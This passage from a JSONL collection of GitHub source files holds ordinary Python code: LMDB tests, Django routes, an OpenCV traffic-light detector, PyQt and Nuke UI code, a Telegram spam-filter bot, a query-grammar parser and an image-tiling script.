value)\n counter += 1\n #\n logger.info('%d values.', counter)\n logger.info('memory:\\n%s', psutil.virtual_memory())\n hit_enter()\n\n\ndef main(args):\n \"\"\"\n \"\"\"\n logger.info('lmdb test3.')\n logger.info('lmdb version %s', lmdb.version())\n\n if args.writer:\n the_writer()\n\n if args.reader:\n the_reader()\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n args = commandLineArgs()\n main(args)\n","repo_name":"warren-taylor-2hat/lmdb-playground","sub_path":"lmdb_test4.py","file_name":"lmdb_test4.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"72569252698","text":"from django.conf.urls import url\n\nfrom rbac.views import role\nfrom rbac.views import menu\n\nurlpatterns = [\n # 角色列表\n url(r'^role/list/$', role.role_list, name='role_list'),\n # 角色添加\n url(r'^role/add/$', role.role_add, name='role_add'),\n # 角色修改\n url(r'^role/edit/(?P\\d+)/$', role.role_edit, name='role_edit'),\n # 角色删除\n url(r'^role/del/(?P\\d+)/$', role.role_del, name='role_del'),\n\n # 菜单列表\n url(r'^menu/list/$', menu.menu_list, name='menu_list'),\n # 添加菜单\n url(r'^menu/add/$', menu.menu_add, name='menu_add'),\n # 修改菜单\n url(r'^menu/edit/(?P\\d+)/$', menu.menu_edit, name='menu_edit'),\n # 删除菜单\n url(r'^menu/del/(?P\\d+)/$', menu.menu_del, name='menu_del'),\n\n]","repo_name":"limou09/crm-django","sub_path":"rbac/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"18313782635","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 15 13:47:52 2020\n\n@author: broch\n\"\"\"\nimport datetime\nimport time\n\nfrom tqdm import trange\n\n\ndef calc_days_until_today(date):\n \"\"\"datetime(year, month, day, hour, minute, second)\n example date=datetime.datetime(2020, 9, 13, 8, 21, 10)\n \"\"\"\n today = datetime.datetime.today().replace(tzinfo=date.tzinfo)\n interval = today - date # returns a timedelta object\n return interval.days\n\n\ndef wait_secs(secs: int, show_progress_bar: bool = True):\n if not show_progress_bar:\n time.sleep(secs)\n return\n\n for i in trange(secs):\n time.sleep(1)\n","repo_name":"brochj/bothunter","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"43552094441","text":"#!/usr/bin/python\n\nimport cv2\nimport urllib\nimport numpy as np\n \nstream=urllib.urlopen('http://192.168.1.49:8080/?action=stream')\nbytes=''\nwhile True:\n bytes+=stream.read(1024)\n a = bytes.find('\\xff\\xd8')\n b = bytes.find('\\xff\\xd9')\n if a!=-1 and b!=-1:\n jpg = bytes[a:b+2]\n bytes= bytes[b+2:]\n i = cv2.imdecode(np.fromstring(jpg, dtype=np.uint8),cv2.CV_LOAD_IMAGE_COLOR)\n cv2.imshow('i',i)\n if cv2.waitKey(1) == 27:\n exit(0)\n","repo_name":"gchinellato/Self-Balance-Robot","sub_path":"nfs-server/modules/ComputerVison/Test/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"68"}
+{"seq_id":"32791817314","text":"import os\nimport cv2\nimport numpy as np\nimport base64\nimport json\nfrom python.src.utils.classes.commons.serwo_objects import SerWOObject\ndef detect(img_from_request):\n # Important simplyfying assumption. Exactly one traffic light is in the view of the camera.\n font = cv2.FONT_HERSHEY_SIMPLEX\n img = img_from_request\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n # color range\n lower_red1 = np.array([0,100,100])\n upper_red1 = np.array([10,255,255])\n lower_red2 = np.array([160,100,100])\n upper_red2 = np.array([180,255,255])\n lower_green = np.array([40,50,50])\n upper_green = np.array([90,255,255])\n lower_yellow = np.array([15,150,150])\n upper_yellow = np.array([35,255,255])\n mask1 = cv2.inRange(hsv, lower_red1, upper_red1)\n mask2 = cv2.inRange(hsv, lower_red2, upper_red2)\n maskg = cv2.inRange(hsv, lower_green, upper_green)\n masky = cv2.inRange(hsv, lower_yellow, upper_yellow)\n maskr = cv2.add(mask1, mask2)\n # hough circle detect\n r_circles = cv2.HoughCircles(maskr, cv2.HOUGH_GRADIENT, 1, 80,\n param1=50, param2=10, minRadius=0, maxRadius=30)\n g_circles = cv2.HoughCircles(maskg, cv2.HOUGH_GRADIENT, 1, 60,\n param1=50, param2=10, minRadius=0, maxRadius=30)\n y_circles = cv2.HoughCircles(masky, cv2.HOUGH_GRADIENT, 1, 30,\n param1=50, param2=5, minRadius=0, maxRadius=30)\n # traffic light detect\n r = 5\n bound = 4.0 / 10\n if r_circles is not None:\n return \"red\"\n if g_circles is not None:\n return \"green\"\n if y_circles is not None:\n return \"yellow\"\n \ndef decode(image_json):\n decoded_image = base64.b64decode(image_json[\"image\"].encode('utf-8'))\n jpeg_as_np = np.frombuffer(decoded_image, dtype=np.uint8)\n image = cv2.imdecode(jpeg_as_np, flags=1)\n return image\n\n\ndef function(serwoObject) -> SerWOObject:\n try:\n image_json = json.loads(serwoObject.get_body())\n image = decode(image_json)\n traffic_color = detect(image)\n ret_val = {\"color\":traffic_color}\n return SerWOObject(body=ret_val)\n except Exception as e:\n return SerWOObject(error=True)","repo_name":"whiz-Tuhin/takeaways","sub_path":"lambda-ml-models/ServerlessInference/TrafficLight/ONNX-TrafficLightDetect/traffic_light_detector.py","file_name":"traffic_light_detector.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"3985266301","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QAction\n\nclass MenuBarDemo(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setWindowTitle('Menubar Demo')\n self.resize(600,500)\n\n self.menuBar = self.menuBar()\n\n fileMenu = self.menuBar.addMenu('File')\n editMenu = self.menuBar.addMenu('Edit')\n undoDeleteMenu = editMenu.addMenu('Undo delete')\n\n exit_action = QAction('Exit App', self)\n exit_action.setShortcut('Ctrl+Q')\n exit_action.triggered.connect(lambda:QApplication.quit())\n\n fileMenu.addAction(exit_action)\n\n yes_action = QAction('Yes', self)\n no_action = QAction('No', self)\n undoDeleteMenu.addAction(yes_action)\n undoDeleteMenu.addAction(no_action)\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n demo = MenuBarDemo()\n demo.show()\n\n sys.exit(app.exec_())","repo_name":"joseespiritu/PyQt5","sub_path":"tutorial_pyqt5/MenuBarWidget/demo.pyw","file_name":"demo.pyw","file_ext":"pyw","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"41017361190","text":"import multiprocessing\nimport pdb\nimport os\nimport sys\nimport threading\nimport traceback\n\nimport log\n\npdb._Pdb = pdb.Pdb\nclass ForkedPdb(pdb._Pdb):\n '''\n A Pdb subclass that may be used from a forked multiprocessing child\n '''\n io_manager = None\n def interaction(self, *args, **kwargs):\n _stdin = sys.stdin\n self.io_manager.restore_pipes()\n try:\n sys.stdin = open('/dev/stdin')\n pdb._Pdb.interaction(self, *args, **kwargs)\n finally:\n sys.stdin = _stdin\n self.io_manager.replace_pipes()\n\n\nclass IoManager(object):\n def __init__(self, test, suite):\n self.test = test\n self.suite = suite\n self.log = log.test_log\n self._init_pipes()\n \n def _init_pipes(self):\n self.stdout_rp, self.stdout_wp = os.pipe()\n self.stderr_rp, self.stderr_wp = os.pipe()\n\n def close_parent_pipes(self):\n os.close(self.stdout_wp)\n os.close(self.stderr_wp)\n\n def setup(self):\n self.replace_pipes()\n self.fixup_pdb()\n \n def fixup_pdb(self):\n ForkedPdb.io_manager = self\n pdb.Pdb = ForkedPdb\n\n def replace_pipes(self):\n self.old_stderr = os.dup(sys.stderr.fileno())\n self.old_stdout = os.dup(sys.stdout.fileno())\n\n os.dup2(self.stderr_wp, sys.stderr.fileno())\n sys.stderr = os.fdopen(self.stderr_wp, 'w', 0)\n os.dup2(self.stdout_wp, sys.stdout.fileno())\n sys.stdout = os.fdopen(self.stdout_wp, 'w', 0)\n \n def restore_pipes(self):\n self.stderr_wp = os.dup(sys.stderr.fileno())\n self.stdout_wp = os.dup(sys.stdout.fileno())\n\n os.dup2(self.old_stderr, sys.stderr.fileno())\n sys.stderr = os.fdopen(self.old_stderr, 'w', 0)\n os.dup2(self.old_stdout, sys.stdout.fileno())\n sys.stdout = os.fdopen(self.old_stdout, 'w', 0)\n\n def start_loggers(self):\n self.log_ouput()\n\n def log_ouput(self):\n def _log_output(pipe, log_callback):\n with os.fdopen(pipe, 'r') as pipe:\n # Read iteractively, don't allow input to fill the pipe.\n for line in iter(pipe.readline, ''):\n log_callback(line)\n\n # Don't keep a backpointer to self in the thread. \n log = self.log\n test = self.test\n suite = self.suite\n\n self.stdout_thread = threading.Thread(\n target=_log_output,\n args=(self.stdout_rp, \n lambda buf: log.test_stdout(test, suite, buf))\n )\n self.stderr_thread = threading.Thread(\n target=_log_output,\n args=(self.stderr_rp, \n lambda buf: log.test_stderr(test, suite, buf))\n )\n\n # Daemon + Join to not lock up main thread if something breaks \n # but provide consistent execution if nothing goes wrong.\n self.stdout_thread.daemon = True\n self.stderr_thread.daemon = True\n self.stdout_thread.start()\n self.stderr_thread.start()\n \n def join_loggers(self):\n self.stdout_thread.join()\n self.stderr_thread.join()\n\n\nclass SubprocessException(Exception):\n def __init__(self, exception, trace):\n super(SubprocessException, self).__init__(trace)\n\nclass ExceptionProcess(multiprocessing.Process):\n class Status():\n def __init__(self, exitcode, exception_tuple):\n self.exitcode = exitcode\n if exception_tuple is not None:\n self.trace = exception_tuple[1]\n self.exception = exception_tuple[0]\n else:\n self.exception = None\n self.trace = None\n\n def __init__(self, *args, **kwargs):\n multiprocessing.Process.__init__(self, *args, **kwargs)\n self._pconn, self._cconn = multiprocessing.Pipe()\n self._exception = None\n\n def run(self):\n try:\n super(ExceptionProcess, self).run()\n self._cconn.send(None)\n except Exception as e:\n tb = traceback.format_exc()\n self._cconn.send((e, tb))\n raise\n\n @property\n def status(self):\n if self._pconn.poll():\n self._exception = self._pconn.recv()\n \n return self.Status(self.exitcode, self._exception)\n\n\nclass Sandbox(object):\n def __init__(self, test_parameters):\n\n self.params = test_parameters\n self.io_manager = IoManager(self.params.test, self.params.suite)\n\n self.p = ExceptionProcess(target=self.entrypoint)\n self.p.daemon = True # Daemon + Join to not lock up main thread if something breaks\n self.io_manager.start_loggers()\n self.p.start()\n self.io_manager.close_parent_pipes()\n self.p.join()\n self.io_manager.join_loggers()\n\n status = self.p.status\n if status.exitcode:\n raise SubprocessException(status.exception, status.trace)\n\n def entrypoint(self):\n self.io_manager.setup()\n self.params.test.test(self.params)","repo_name":"spwilson2/flimsy","sub_path":"flimsy/sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"34613057610","text":"import telegram, time, os, glob\r\nfrom telegram.ext import *\r\nfrom telegram import Update\r\nfrom difflib import SequenceMatcher\r\n\r\nTOKEN = \"YOUR TOKEN HERE\"\r\nSIMILARITY_RATE = 85\r\n\r\nasync def start_callback(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\r\n await update.message.reply_markdown_v2(\"Hey \\! Moi C'estCiaoBot\\. 🫡\\nAjoute moi dans un groupe ou un channel et *mets\\-moi administrateur*, je supprimerai les messages de scams selon\" +\r\n \" ma liste interne configurée\\.\\n📊 Taux de sensibilité configuré : \" + str(SIMILARITY_RATE) + \"%\")\r\n\r\nasync def analyze_msg(update, context):\r\n msg = update.effective_message\r\n text = msg.text\r\n for forbidden_text in retrieve_forbidden_messages():\r\n if get_string_similarity(forbidden_text, text) >= SIMILARITY_RATE:\r\n await msg.delete()\r\n print(\"- SPAM DETECTED - message removed\")\r\n user = msg.from_user\r\n if user is not None:\r\n print(\"-> User ID : \" + str(user.id))\r\n print(\"-> Username : \" + user.username)\r\n print(\"------------------------------\")\r\n\r\ndef retrieve_forbidden_messages():\r\n files = glob.glob(os.path.join(\"forbidden-messages\", \"*.txt\"))\r\n file_contents = []\r\n for file in files:\r\n with open(file, 'r', encoding=\"utf-8\") as f:\r\n content = f.read()\r\n file_contents.append(content)\r\n return file_contents\r\n\r\ndef get_string_similarity(string1, string2):\r\n matcher = SequenceMatcher(None, string1, string2)\r\n similarity = matcher.ratio() * 100\r\n return similarity\r\n\r\nif not os.path.exists(\"forbidden-messages\"):\r\n os.makedirs(\"forbidden-messages\")\r\n\r\napplication = Application.builder().token(TOKEN).build()\r\nprint(\"|----------------------------------------------|\")\r\nprint(\"| C'estCiaoBot CONNECTED - Created by KeyKatyu |\")\r\nprint(\"|------- https://github.com/KeyKatyu ----------|\")\r\nprint(\"|----------------------------------------------|\")\r\napplication.add_handler(CommandHandler(\"start\", start_callback))\r\napplication.add_handler(MessageHandler(filters.TEXT, analyze_msg))\r\napplication.run_polling()","repo_name":"KeyKatyu/cestciaobot","sub_path":"github-bot.py","file_name":"github-bot.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"36941115415","text":"\nimport tatsu\nimport json\n\nfrom gbd_core.database import Database, DatabaseException\n\nclass ParserException(Exception):\n pass\n\nclass Parser:\n GRAMMAR = r'''\n @@grammar::GBDQuery\n @@ignorecase::True\n\n start \n = \n q:query $ \n ;\n\n query \n = \n | left:query qop:(\"and\" | \"or\") ~ right:query \n | constraint \n | \"(\" q:query \")\" \n ;\n\n constraint \n = \n | col:(dbname \":\" column | column) cop:(\"=\" | \"!=\") str:string \n | col:(dbname \":\" column | column) cop:(\"=\" | \"!=\" | \"<=\" | \">=\" | \"<\" | \">\" ) ter:termstart\n | col:(dbname \":\" column | column) cop:(\"like\" | \"unlike\") ~ lik:([\"%\"] string [\"%\"])\n ;\n\n termstart \n = \n t:term\n ;\n\n term \n = \n | left:(term | termend) top:(\"+\" | \"-\" | \"*\" | \"/\") right:(term | termend)\n | (\"(\") t:(term | termend) (\")\")\n | constant:number\n ;\n\n termend\n =\n col:(dbname \":\" column | column)\n ;\n\n number = /[-]?[0-9]+[.]?[0-9]*/ ;\n string = /[a-zA-Z0-9_\\.\\-\\/\\,\\:\\+\\=\\@]+/ ;\n column = /[a-zA-Z][a-zA-Z0-9_]*/ ;\n dbname = /[a-zA-Z][a-zA-Z0-9_]*/ ;\n '''\n\n\n model = tatsu.compile(GRAMMAR)\n\n\n def __init__(self, query, verbose=False):\n try:\n self.ast = Parser.model.parse(query) if query else dict()\n if verbose:\n print(\"Parsed: \" + query)\n print(json.dumps(tatsu.util.asjson(self.ast), indent=2))\n except tatsu.exceptions.FailedParse as e:\n raise ParserException(\"Failed to parse query: {}\".format(str(e)))\n except tatsu.exceptions.FailedLeftRecursion as e:\n raise ParserException(\"Failed to parse query: {}\".format(str(e)))\n\n\n def get_features(self, ast=None):\n #import pprint\n #pp = pprint.PrettyPrinter(depth=6)\n #pp.pprint(ast)\n try:\n ast = ast if ast else self.ast\n if \"q\" in ast:\n return self.get_features(ast[\"q\"])\n elif \"t\" in ast:\n return self.get_features(ast[\"t\"])\n elif \"qop\" in ast or \"top\" in ast:\n return self.get_features(ast[\"left\"]) | self.get_features(ast[\"right\"])\n elif \"cop\" in ast and \"ter\" in ast:\n return { \"\".join(ast[\"col\"]) } | self.get_features(ast[\"ter\"])\n elif \"col\" in ast:\n return { \"\".join(ast[\"col\"]) }\n else: \n return set()\n except TypeError as e:\n raise ParserException(\"Failed to parse query: {}\".format(str(e)))\n\n\n def get_sql(self, db: Database, ast=None):\n try:\n ast = ast if ast else self.ast\n if \"q\" in ast:\n return \"(\" + self.get_sql(db, ast[\"q\"]) + \")\"\n elif \"t\" in ast:\n return \"(\" + self.get_sql(db, ast[\"t\"]) + \")\"\n elif \"qop\" in ast or \"top\" in ast: # query operator or term operator\n operator = ast[\"qop\"] if ast[\"qop\"] else ast[\"top\"]\n left = self.get_sql(db, ast[\"left\"])\n right = self.get_sql(db, ast[\"right\"])\n return \"{} {} {}\".format(left, operator, right)\n elif \"cop\" in ast: # constraint operator\n operator = \"not like\" if ast[\"cop\"] == \"unlike\" else ast[\"cop\"]\n feat = db.faddr(\"\".join(ast[\"col\"]))\n feat_is_1_n = db.find(\"\".join(ast[\"col\"])).default is None\n if \"str\" in ast: # cop:(\"=\" | \"!=\")\n if feat_is_1_n:\n table = db.faddr_table(\"\".join(ast[\"col\"]))\n setop = \"IN\" if ast[\"cop\"] == \"=\" else \"NOT IN\"\n return \"{t}.hash {o} (SELECT {t}.hash FROM {t} WHERE {f} = '{s}')\".format(o=setop, t=table, f=feat, s=ast[\"str\"])\n else:\n return \"{} {} '{}'\".format(feat, operator, ast[\"str\"])\n elif \"lik\" in ast: # cop:(\"like\" | \"unlike\")\n if feat_is_1_n:\n table = db.faddr_table(\"\".join(ast[\"col\"]))\n setop = \"IN\" if ast[\"cop\"] == \"like\" else \"NOT IN\"\n return \"{t}.hash {o} (SELECT {t}.hash FROM {t} WHERE {f} like '{s}')\".format(o=setop, t=table, f=feat, s=\"\".join([ t for t in ast[\"lik\"] if t ]))\n else:\n return \"{} {} '{}'\".format(feat, operator, \"\".join([ t for t in ast[\"lik\"] if t ]))\n elif \"ter\" in ast: # cop:(\"=\" | \"!=\" | \"<=\" | \">=\" | \"<\" | \">\" )\n if feat_is_1_n and ast[\"cop\"] == \"!=\":\n table = db.faddr_table(\"\".join(ast[\"col\"]))\n setop = \"NOT IN\" if ast[\"cop\"] == \"!=\" else \"IN\"\n cop = \"=\" if ast[\"cop\"] == \"!=\" else ast[\"cop\"]\n return \"{t}.hash {o} (SELECT {t}.hash FROM {t} WHERE CAST({f} AS FLOAT) {c} {s})\".format(o=setop, c=cop, t=table, f=feat, s=self.get_sql(db, ast[\"ter\"]))\n else:\n return \"CAST({} AS FLOAT) {} {}\".format(feat, operator, self.get_sql(db, ast[\"ter\"]))\n raise ParserException(\"Missing right-hand side of constraint\")\n elif \"col\" in ast:\n feature = db.faddr(\"\".join(ast[\"col\"]))\n return \"CAST({} AS FLOAT)\".format(feature)\n elif \"constant\" in ast:\n return ast[\"constant\"]\n else:\n return \"1=1\"\n except TypeError as e:\n raise ParserException(\"Failed to parse query: {}\".format(str(e)))\n except DatabaseException as e:\n raise ParserException(\"Failed to parse query: {}\".format(str(e)))\n\n","repo_name":"Udopia/gbd","sub_path":"gbd_core/grammar.py","file_name":"grammar.py","file_ext":"py","file_size_in_byte":5864,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"68"}
+{"seq_id":"5488217719","text":"# Import necessary libraries\r\nimport os\r\nfrom PIL import Image\r\nfrom osgeo import gdal\r\nimport cv2\r\nimport numpy as np\r\n\r\n\r\n# Set the input and output directories\r\ninput_dir = r\"C:\\Users\\Administrator\\Desktop\\tif_dataset\\airport_MUX\"\r\noutput_dir = r\"C:\\Users\\Administrator\\Desktop\\tif_dataset\\OUTPUT\"\r\n\r\n# Set the desired size of each sub-image\r\nsub_image_size = 128\r\n\r\n# Loop through each TIFF image in the input directory\r\nfor filename in os.listdir(input_dir):\r\n if filename.endswith('.tif'):\r\n # Open the image using PIL\r\n image = cv2.imread(os.path.join(input_dir, filename))\r\n dataset = gdal.Open(os.path.join(input_dir, filename))\r\n geotransform = dataset.GetGeoTransform()\r\n print(\"------------------------\",os.path.join(input_dir,filename))\r\n print(geotransform)\r\n # Calculate the coordinates of the four corners of the image\r\n # ulx = geotransform[0]\r\n # uly = geotransform[3]\r\n # Get the dimensions of the image\r\n cols=dataset.RasterXSize\r\n rows=dataset.RasterYSize\r\n \r\n # Calculate the number of sub-images in each dimension\r\n num_tiles_cols =int(np.ceil(cols/sub_image_size))\r\n num_tiles_rows =int(np.ceil(rows/sub_image_size))\r\n\r\n # 创建一个大的数组容纳图像,如果边界不够则填充\r\n # 1。计算填充的边界\r\n pad_cols=num_tiles_cols*sub_image_size-cols\r\n pad_rows=num_tiles_rows*sub_image_size-rows\r\n\r\n img_arr=np.array(image)\r\n\r\n new_img_arr=np.zeros((int(rows+pad_rows),int(cols+pad_cols),3),dtype=img_arr.dtype)\r\n\r\n # 将原始图像平移并保存在新的数组\r\n new_img_arr[0:rows,0:cols,]=img_arr\r\n print('rows:',rows,'\\t','cols:',cols) \r\n # Loop through each sub-image\r\n for i in range(0,rows,sub_image_size):\r\n num=0\r\n for j in range(0,cols,sub_image_size):\r\n print('i:',i,'\\t','j:',j,'\\t','num:',num)\r\n # Calculate the coordinates of the sub-image\r\n x_left=dataset.GetGeoTransform()[0]+j*dataset.GetGeoTransform()[1]\r\n y_top=dataset.GetGeoTransform()[3]+j*dataset.GetGeoTransform()[5]\r\n print((x_left,y_top,geotransform[1]))\r\n # Crop the sub-image using PIL\r\n # sub_image = image.crop((left, upper, right, lower))\r\n block=new_img_arr[i:i+sub_image_size,j:j+sub_image_size]\r\n\r\n #保存块\r\n tile_img=Image.fromarray(block)\r\n \r\n # Save the sub-image as a TIFF file\r\n sub_image_filename = os.path.splitext(filename)[0] + '_{}_{}_{}.tiff'.format(x_left,y_top,geotransform[1])\r\n tile_img.save(os.path.join(output_dir, sub_image_filename))\r\n num=num+1","repo_name":"ArcFYB/2JPG_Tools","sub_path":"tiff_split_saveinfo.py","file_name":"tiff_split_saveinfo.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"19634769076","text":"import copy\n\nimport nuke_internal as nuke\nimport PySide2.QtCore as QtCore\nimport PySide2.QtWidgets as QtWidgets\nfrom hiero.ui.FnUIProperty import UIPropertyFactory\nfrom hiero.ui.FnTaskUIFormLayout import TaskUIFormLayout\nfrom hiero.ui.FnNodePropertyWidget import NodePropertyWidget\n\nkEXRTooltips = {\n 'metadata': ('Which metadata to write out to the EXR file.'\n \"'no metadata' means that no custom attributes will be created and only metadata that fills required header fields will be written.
'default metadata' means that the optional timecode, edgecode, frame rate and exposure header fields will also be filled using metadata values.\"),\n 'noprefix': (\"By default unknown metadata keys have the prefix 'nuke' attached to them before writing them into the file. Enable this option to write the metadata 'as is' without the nuke prefix.\"),\n 'interleave': ('Which groups to interleave in the EXR data.'\n \"
'interleave channels, layers and views' for backwards compatibility. \"\n 'This writes all the channels to a single part ensuring compatibility with earlier versions of Nuke.
'\n \"'interleave channels and layers' for forwards compatibility. \"\n 'This creates a multi-part file optimised for size.
'\n \"'interleave channels' to resolve layers into separate parts. \"\n 'This creates a multi-part file optimized for read performance.
'\n 'For full compatibility with versions of Nuke using OpenEXR 1.x '\n \"'truncate channel names' should be used to ensure that channels \"\n 'do not overflow the name buffer.'),\n 'standard_layer_name_format': ('Older versions of Nuke write out channel names in the format: view.layer.channel. '\n 'Check this option to follow the EXR standard format: layer.view.channel'),\n 'write_full_layer_names': ('Older versions of Nuke just stored the layer name in the part '\n 'name of multi-part files. Check this option to always write the '\n 'layer name in the channel names following the EXR standard.'),\n 'truncateChannelNames': ('Truncate channel names to a maximum of 31 characters for backwards compatibility'),\n 'write_ACES_compliant_EXR': ('Write out an ACES compliant EXR file')\n\n}\n# Tooltips for codec properties. Currently only some of the mov encoder property tooltips are defined.\nkCodecTooltips = {\n 'exr': kEXRTooltips\n}\n\n\nclass CodecUIController(QtWidgets.QWidget):\n \"\"\"CodecUIController is the base class used to control the widgets for specific Codecs.\n This allows to customize layout of the widgets and signals and slots\"\"\"\n propertyChanged = QtCore.Signal()\n\n def __init__(self, file_type, propertyDictionaries, presetDictionary):\n QtWidgets.QWidget.__init__(self)\n self._file_type = file_type\n self._widgets = []\n self.initializeUI(propertyDictionaries, presetDictionary)\n\n def connectProperty(self, propertyWidget):\n \"\"\"reimplement this to allow setup custom signals and slots\"\"\"\n propertyWidget.propertyChanged.connect(self.propertyChanged)\n\n def getTooltip(self, label, propertyKey):\n # Create the tooltip. This matches how tooltips appear from knob widgets. Adding the HTML markup\n # also has the effect of making Qt apply wrapping to the text.\n tooltip = '' + label + ''\n tooltipsForCodec = kCodecTooltips.get(self._file_type, dict())\n propertyTooltip = tooltipsForCodec.get(propertyKey, None)\n if propertyTooltip is not None:\n tooltip = tooltip + '
' + propertyTooltip\n return tooltip\n\n def getLabelAndProperty(self, propertyKey):\n label = propertyKey\n # If key is not a string, assume its a tupe containing (label, key)\n if not isinstance(propertyKey, str):\n label, propertyKey = propertyKey\n return label, propertyKey\n\n def initializeUI(self, propertyDictionaries, presetDictionary):\n \"\"\"Creates all the properties from the propertyDictionaries\"\"\"\n layout = TaskUIFormLayout()\n self.setLayout(layout)\n for properties in propertyDictionaries:\n # Flatten dictionary into tupes of keyvalue pairs\n for (propertyKey, propertyValue) in properties.items():\n label, propertyKey = self.getLabelAndProperty(propertyKey)\n tooltip = self.getTooltip(label, propertyKey)\n propertyWidget = UIPropertyFactory.create(type(\n propertyValue), key=propertyKey, value=propertyValue, dictionary=presetDictionary, label=label, tooltip=tooltip)\n if propertyWidget is not None:\n # Force the widget to commit its value back to the preset. This\n # ensures that the property values are stored in the preset even if\n # the user hasn't changed them from the defaults. Mixing this with\n # the UI is not ideal, but the property widgets do already have all\n # the logic for determining the defaults and writing them to the\n # preset.\n propertyWidget.update(commit=True)\n self.connectProperty(propertyWidget)\n layout.addRow(propertyWidget._label + ':', propertyWidget)\n\n\nclass EXRCodecUIController(CodecUIController):\n kDataType = 'datatype'\n kCompression = 'compression'\n kCompressionLevel = 'dw_compression_level'\n kMetadata = 'metadata'\n kPrefix = 'noprefix'\n kInterleave = 'interleave'\n kLayerNameFormat = 'standard_layer_name_format'\n kFullLayerNames = 'write_full_layer_names'\n kTruncateChannelNames = 'truncateChannelNames'\n kWriteACESCompliantEXR = 'write_ACES_compliant_EXR'\n\n def __init__(self, file_type, propertyDictionaries, presetDictionary):\n CodecUIController.__init__(self, 'exr', propertyDictionaries, presetDictionary)\n\n def createProperty(self, properties, propertyKey, presetDictionary):\n label, propertyValue = properties[propertyKey]\n tooltip = self.getTooltip(label, propertyKey)\n propertyWidget = UIPropertyFactory.create(type(\n propertyValue), key=propertyKey, value=propertyValue, dictionary=presetDictionary, label=label, tooltip=tooltip)\n propertyWidget.update(commit=True)\n self.connectProperty(propertyWidget)\n return propertyWidget\n\n def initializeUI(self, propertyDictionaries, presetDictionary):\n \"\"\"Creates all the properties from the propertyDictionaries\"\"\"\n properties = dict()\n # construct a dictionary of tuples (label,propertyValue)\n for prop in propertyDictionaries:\n # Flatten dictionary into tupes of keyvalue pairs\n for (propertyKey, propertyValue) in prop.items():\n label, propertyKey = self.getLabelAndProperty(propertyKey)\n properties[propertyKey] = (label, propertyValue)\n\n layout = TaskUIFormLayout()\n self.setLayout(layout)\n\n # datatype\n widget = self.createProperty(properties, self.kDataType, presetDictionary)\n layout.addRow(widget._label + ':', widget)\n\n # compression\n widget = self.createProperty(properties, self.kCompression, presetDictionary)\n layout.addRow(widget._label + ':', widget)\n self._compressionWidget = widget\n\n widget = self.createProperty(properties, self.kCompressionLevel, presetDictionary)\n layout.addRow(widget._label + ':', widget)\n self._compressionLevelWidget = widget\n self.compressionChanged()\n\n # metadata\n self._writeACESCompliantEXRWidget = self.createProperty(\n properties, self.kWriteACESCompliantEXR, presetDictionary)\n layout.addRow(self._writeACESCompliantEXRWidget._label +\n ':', self._writeACESCompliantEXRWidget)\n\n metadataWidget = self.createProperty(properties, self.kMetadata, presetDictionary)\n prefixWidget = self.createProperty(properties, self.kPrefix, presetDictionary)\n self._metadataWidget = metadataWidget\n self._prefixWidget = prefixWidget\n layout.addMultiWidgetRow((metadataWidget._label, prefixWidget._label),\n (metadataWidget, prefixWidget))\n self.metadataChanged()\n\n # interleaving\n self._interleavingWidget = self.createProperty(\n properties, self.kInterleave, presetDictionary)\n self._standardLayerNameWidget = self.createProperty(\n properties, self.kLayerNameFormat, presetDictionary)\n self._fullLayerNamesWidget = self.createProperty(\n properties, self.kFullLayerNames, presetDictionary)\n self._truncateLayerNamesWidget = self.createProperty(\n properties, self.kTruncateChannelNames, presetDictionary)\n layout.addRow(self._interleavingWidget._label+':', self._interleavingWidget)\n layout.addRow(self._standardLayerNameWidget._label +\n ':', self._standardLayerNameWidget)\n layout.addRow(self._fullLayerNamesWidget._label+':', self._fullLayerNamesWidget)\n layout.addRow(self._truncateLayerNamesWidget._label +\n ':', self._truncateLayerNamesWidget)\n self.interleaveChanged()\n\n # Slots\n\n def compressionChanged(self):\n layout = self.layout()\n text = self._compressionWidget._widget.currentText()\n if 'DWA' in text:\n layout.setWidgetVisible(self._compressionLevelWidget, True)\n else:\n layout.setWidgetVisible(self._compressionLevelWidget, False)\n self.propertyChanged.emit()\n\n def interleaveChanged(self):\n layout = self.layout()\n index = self._interleavingWidget._widget.currentIndex()\n if index == 0:\n layout.setWidgetEnabled(self._standardLayerNameWidget, True)\n layout.setWidgetEnabled(self._fullLayerNamesWidget, False)\n layout.setWidgetEnabled(self._truncateLayerNamesWidget, True)\n elif index == 1:\n layout.setWidgetEnabled(self._standardLayerNameWidget, True)\n layout.setWidgetEnabled(self._fullLayerNamesWidget, False)\n layout.setWidgetEnabled(self._truncateLayerNamesWidget, False)\n elif index == 2:\n layout.setWidgetEnabled(self._standardLayerNameWidget, True)\n layout.setWidgetEnabled(self._fullLayerNamesWidget, True)\n 